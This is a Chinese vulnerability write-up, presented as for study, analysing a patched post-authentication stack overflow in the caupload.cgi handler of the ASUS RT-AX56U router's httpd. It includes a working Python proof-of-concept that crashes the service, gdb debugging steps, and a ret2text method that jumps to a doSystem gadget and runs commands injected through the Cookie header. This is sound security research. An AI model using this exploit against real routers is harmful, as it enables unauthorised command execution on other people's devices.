该漏洞为华硕RT-ax56u路由器httpd服务中身份验证后的栈溢出漏洞,由于该路由器在身份验证后可以自行开启telnet/ssh,而通过telnet/ssh登陆获取shell后已经是最高权限用户,所以该漏洞几乎没有被恶意利用的可能

本文从挖掘漏洞的角度分析该漏洞,仅供学习用途

相关信息

ASUS 2021/10/07更新公告(https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RT-AX56U/HelpDesk_BIOS/)

本文分析的漏洞为其中的栈溢出漏洞,另外经过华硕官方确认还有多个型号路由器存在该漏洞并均已修复

固件下载

华硕提供了非常全面的服务支持,可以在官网下载所有版本的固件

下载漏洞修复前的固件

FW_RT_AX56U_300438644266(https://dlsvr04.asus.com.cn/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_300438644266.zip)

实验环境

由于虚拟环境较玄学,使用某鱼不到300rmb就可以买到的二手华硕RT-ax56u路由器,将下载的固件手动上传到设备

获取文件系统

先对文件系统进行解压,该固件中是ubi文件系统,如果使用binwalk直接解压只能得到一个ubi后缀的文件

可以使用ubi_reader(https://github.com/jrspruitt/ubi_reader)工具对固件进行解压,或者安装好ubi_reader后用binwalk就可以直接解压了

binwalk -Me RT-AX56U_3.0.0.4_386_44266-g7f6b0df_cferom_pureubi.w

分析攻击面

可以通过三种方式获取该路由器端口信息,从而分析潜在的攻击面

  1. nmap扫描端口
  2. 扫描端口可以快速了解该路由器潜在的攻击面
sudo nmap 192.168.50.1 -p0-65535
  1. 通过uart串口获取shell后查看开放端口
  2. 拆开路由器查看调试串口
  3. 用SecureCRT连接
对于该路由器有更加方便的方法,此处不对此方法进行赘述,关于uart串口连接可以参考学习拆机调试路由器(https://x1ng.top/2020/12/06/%E5%AD%A6%E4%B9%A0%E6%8B%86%E6%9C%BA%E8%B0%83%E8%AF%95%E8%B7%AF%E7%94%B1%E5%99%A8/)
netstat -aptu
  1. 开启telnet/ssh获取shell后查看开放端口
  2. 此处用telnet连接
netstat -aptu

可以看到开启的tcp和udp端口以及相关的服务

在对该路由器进行测试的过程中由于对http协议最熟悉,优先对该固件中实现web功能的httpd文件进行分析,而本文分析的漏洞正是存在于httpd文件中

全局搜索httpd

find . | grep httpd

找到httpd文件

逆向分析httpd服务文件

进行例行检查

为ARM架构小端序的程序,只开启了NX保护,也就是说对于内存破坏漏洞而言不能通过直接写入shellcode并跳转的方式来进行利用

ida进行逆向分析之前查找资料可以找到梅林固件httpd服务的源代码(https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/httpd/httpd.c),虽然细微之处有所差别,但是大致框架一致,可以根据源码快速理解其实现逻辑

其处理http报文的主要功能在static void handle_request(void)函数中

static void
handle_request(void)
{
...
 while ( fgets( cur, line + sizeof(line) - cur, conn_fp ) != (char*) 0 )
 {
   //获取http报文请求头(略)
    ...
  }
  ...
 for (handler = &mime_handlers[0]; handler->pattern; handler++) {
  if (match(handler->pattern, url))
  {
      ...
      if (handler->auth) {
        ...
        else{
          ...
     handler->auth(auth_userid, auth_passwd, auth_realm);
     auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
     if (auth_result != 0)
     {
      if(strcasecmp(method, "post") == 0 && handler->input)   //response post request
       while (cl--) (void)fgetc(conn_fp);
      send_login_page(fromapp, auth_result, NULL, NULL, 0);
      return;
     }
    }
    ...
   }else{
    ...
   }
   if (handler->input) {
    handler->input(file, conn_fp, cl, boundary);
    ...
   }
   ...
   if (strcasecmp(method, "head") != 0 && handler->output) {
    handler->output(file, conn_fp);
   }
   break;
  }
 }

在项目的httpd.h文件中可以找到mime_handler结构体定义

struct mime_handler {
 char *pattern;
 char *mime_type;
 char *extra_header;
 void (*input)(char *path, FILE *stream, int len, char *boundary);
 void (*output)(char *path, FILE *stream);
 void (*auth)(char *userid, char *passwd, char *realm);
};

其大致逻辑就是获取完报文请求头后遍历mime_handlers结构体数组,根据用户访问的url找到对应的mime_handler结构体,再判断鉴权以及调用其中的函数指针,这些被调用的函数就是需要重点审计的地方

在固件中也可以找到mime_handlers结构体数组

经过逆向分析,最后在"caupload.cgi"字段的mime_handler结构体中找到了存在漏洞的函数

分析漏洞

根据对handler的input函数调用的语句可以知道各参数的含义

这里只有3个参数,与源码中看到的调用语句不同,是因为ida没有识别出将第四个参数存入寄存器的过程,直接查看汇编代码就能看到对R3的赋值

进入"caupload.cgi"相关结构体的input函数,也能看到其实是有四个参数的

程序运行到这个函数的时候,http报文请求头已经被读取了,此时缓冲区中还有http报文的请求数据

该函数从缓冲区中获取请求数据后保存在大小为0x10000的input3数组中,根据请求数据中的"name"字段进入不同的分支

而漏洞的成因是最后调用的strcat函数,程序会判断"Content-Length"字段判断请求数据的长度(通过第三个参数传递),将fgets从缓冲区获取到的字符串拼接到保存在栈上的变量v34后面,但是由于这里Content-Length的最大限制为0xffff,而该函数的栈帧长度只有0x1440,存在栈溢出漏洞

触发漏洞

逆向报文结构让程序能执行到调用strcat函数的分支,只需要在Content-Disposition: form-data; name="file_ca"; filename=后填充大量字符就可以造成溢出(通过burp抓包得到登录报文格式,在验证漏洞之前需要先进行登录)

poc.py:

#/usr/bin/python3
import requests
import socket
import base64
import sys
def attack(ip, username, passwd):
 login_url = "http://"+ip+"/login.cgi"
 hd = {"Host": "192.168.50.1",
  "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "http://192.168.50.1/Main_Login.asp",
  "Content-Type": "application/x-www-form-urlencoded",
  "Content-Length": "161",
  "Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token=lRZ0RCBKRnYW8GBQzCI2wHPzB7F7DYU",
  "Connection": "close",
  "Upgrade-Insecure-Requests": "1"
 }
 auth = username+':'+passwd
 auth = base64.b64encode(auth.encode('utf-8')).decode()
 print('[*] login...')
 da = "group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=index.asp&login_authorization="+auth+"&login_captcha="
 r = requests.post(login_url,headers=hd,data = da, timeout=1000)
 cookie = r.headers['Set-Cookie'][11:-11]
 pd = 'Content-Disposition: form-data; name="file_ca"; filename=aaa\r'
 pd += '\r'
 pd += 'a'*0x2000
 attack_url = "http://"+ip+"/caupload.cgi"
 hd = {"Host": "192.168.50.1",
  "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "http://192.168.50.1/Advanced_VPNClient_Content.asp",
  "Content-Type": "application/x-www-form-urlencoded; boundary=---------------------------90665545817618071411188093951",
  "Content-Length": str(len(pd)),
  "Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token="+cookie,
  "Connection": "close",
  "Upgrade-Insecure-Requests": "1"
 }
 print('[*] Attacking')
 r = requests.post(attack_url,headers=hd,data = pd, timeout=1000)
 
def usage():
 print("Usage: python poc.py routerip username password")
if __name__ == "__main__":
 if len(sys.argv) < 3:
  usage()
 else:
  attack(ip=sys.argv[1],username=sys.argv[2], passwd=sys.argv[3])

发送报文后httpd服务崩溃,但是由于存在守护进程马上就会重新启动服务

漏洞利用

经过测试发现在该路由器上,但是由于

与CTF不同的是,对于这种网络服务,进行溢出后进行ROP泄露地址再ret2libc的方法并不好用

  1. 泄露地址后往往需要返回main函数重新输入溢出数据,但是由于配置等问题可能导致失败
  2. 泄露地址不能通过puts等标准输出函数,而是需要向与用户连接的socket中输出

而其实对于该路由器而言

  1. 栈地址与堆地址都是随机的(如果用qemu模拟环境可能是固定的),不能直接使用libc中的gadget
  2. 开启了NX保护不能使用shellcode
  3. 没有开启pie保护,程序基址还是固定的
  4. 由于路由器为arm架构,程序中固定的地址最高位基本都是\x00

无法使用shellcode,甚至因为strcat函数存在\x00截断,构造ROP链都是问题,难道这里即使存在溢出漏洞也没有办法进行利用吗

其实是有办法的,ret2libc不行,倒是可以考虑ret2text

由于固定地址最高位是\x00,所以在内存中填充返回地址时的最后一个字节为\x00,也就是说有一次跳转地址的机会

在程序中寻找可能可以利用的gedget,直接对systempopendoSystemsystem函数的wraper函数)这样能执行命令的函数进行交叉引用搜索,可以找到一个特殊的函数调用

在ARM架构下获取字符串地址的指令一般是形如ADD R0,PC,R0这样的汇编指令,以PC寄存器作为基址寄存器通过偏移来获得字符串地址,而该函数调用的特殊之处在于,在调用doSystem函数之前,获取参数的指令是LDR R0,[SP,#0x28]

也就是说,如果在跳转到这个gadget之前能控制[SP,#0x28]这个地址上的内容,就能控制doSystem的参数达到执行命令的目的,而这里正好是可控的

对漏洞进行gdbserver远程调试(远程调试的具体步骤就不介绍了,可以参考强网杯2020决赛-cisco-RV110W-漏洞复现中进行远程调试的详细步骤)

gdb-multiarch httpd
target remote 192.168.50.1:1234
b*0x51344
c

运行POC脚本发送http请求,溢出后将返回地址修改为0x5b43c,从断点处单步运行跳转到0x5b43c,查看$sp+0x28的值

x/20wx $sp+0x28

发现[sp+0x28]所指向的地址保存的其实是http报文请求头中Cookie,也就是说只要将命令注入到Cookie中,再溢出控制程序跳转到上文提到的doSystem函数之前,即可执行任意命令

但是为了让程序正常的读取Cookie,Cookie字段不能只是命令,需要在命令后拼接上原本Cookie的内容,并在二者之间用";"分隔保证命令正确执行。